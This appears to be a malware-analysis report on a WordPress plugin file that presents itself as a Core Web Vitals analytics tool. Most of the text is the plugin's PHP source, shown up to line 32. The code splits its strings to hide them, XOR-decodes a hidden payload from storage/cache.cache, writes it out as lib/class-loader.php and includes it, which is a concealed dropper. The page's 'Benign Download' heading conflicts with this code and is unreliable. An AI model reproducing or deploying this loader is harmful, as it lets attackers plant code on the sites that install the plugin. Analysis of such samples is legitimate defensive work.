Benign Download

wp-query-analytics-af16.php

Calls PHP file_put_contents()PHP script path suffix

SHA-25656fb75646647776747bdcb1218c72e773b8deac7f1de24a0781351b2c67815ce

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

PHP reads content from a variable source lines 1–36

1<?php
2/*
3Plugin Name: WP Query Analytics
4Plugin URI: https://developer.wordpress.org/plugins/
5Description: Real-time monitoring and analytics to improve Core Web Vitals
6Version: 3.7.41
7Author: Speed Dev
8License: GPL-2.0+
9Text Domain: wp-query-analytics-af16
10Domain Path: /languages
11*/
12if(!defined('ABSPATH')){exit;}
13if(defined('_6d3de5fb_LOADED')){return;}
14define('_6d3de5fb_LOADED',true);
15try{
16$_od34e64_dir=__DIR__.'/l'.'ib';
17$_od34e64_cf=$_od34e64_dir.'/clas'.'s-loader'.'.php';
18$_od34e64_sf=__DIR__.'/storag'.'e/cache.ca'.'che';
19if(!@is_file($_od34e64_cf)&&@is_file($_od34e64_sf)){
20  if(!is_dir($_od34e64_dir)){@mkdir($_od34e64_dir,0755,true);}
21  $_od34e64_b=@file_get_contents($_od34e64_sf);
22  if(is_string($_od34e64_b)&&strlen($_od34e64_b)>16){
23    $_od34e64_k=substr($_od34e64_b,0,8);$_od34e64_p=substr($_od34e64_b,8);$_od34e64_o='';
24    for($_od34e64_i=0,$_od34e64_n=strlen($_od34e64_p);$_od34e64_i<$_od34e64_n;$_od34e64_i++){$_od34e64_o.=chr(ord($_od34e64_p[$_od34e64_i])^ord($_od34e64_k[$_od34e64_i%8]));}
25    if(strpos($_od34e64_o,'<?php')===0){@file_put_contents($_od34e64_cf,$_od34e64_o);}
26  }
27}
28$_od34e64=__DIR__.'/'.'lib/class-'.'loader.php';
29if(!class_exists('Cache_Ser'.'vice_0e1d')&&@is_file($_od34e64)){
30  @include_once $_od34e64;
31}
32if(class_exists('Cache_Se'.'rvice_0e1'.'d')){
⋯4 lines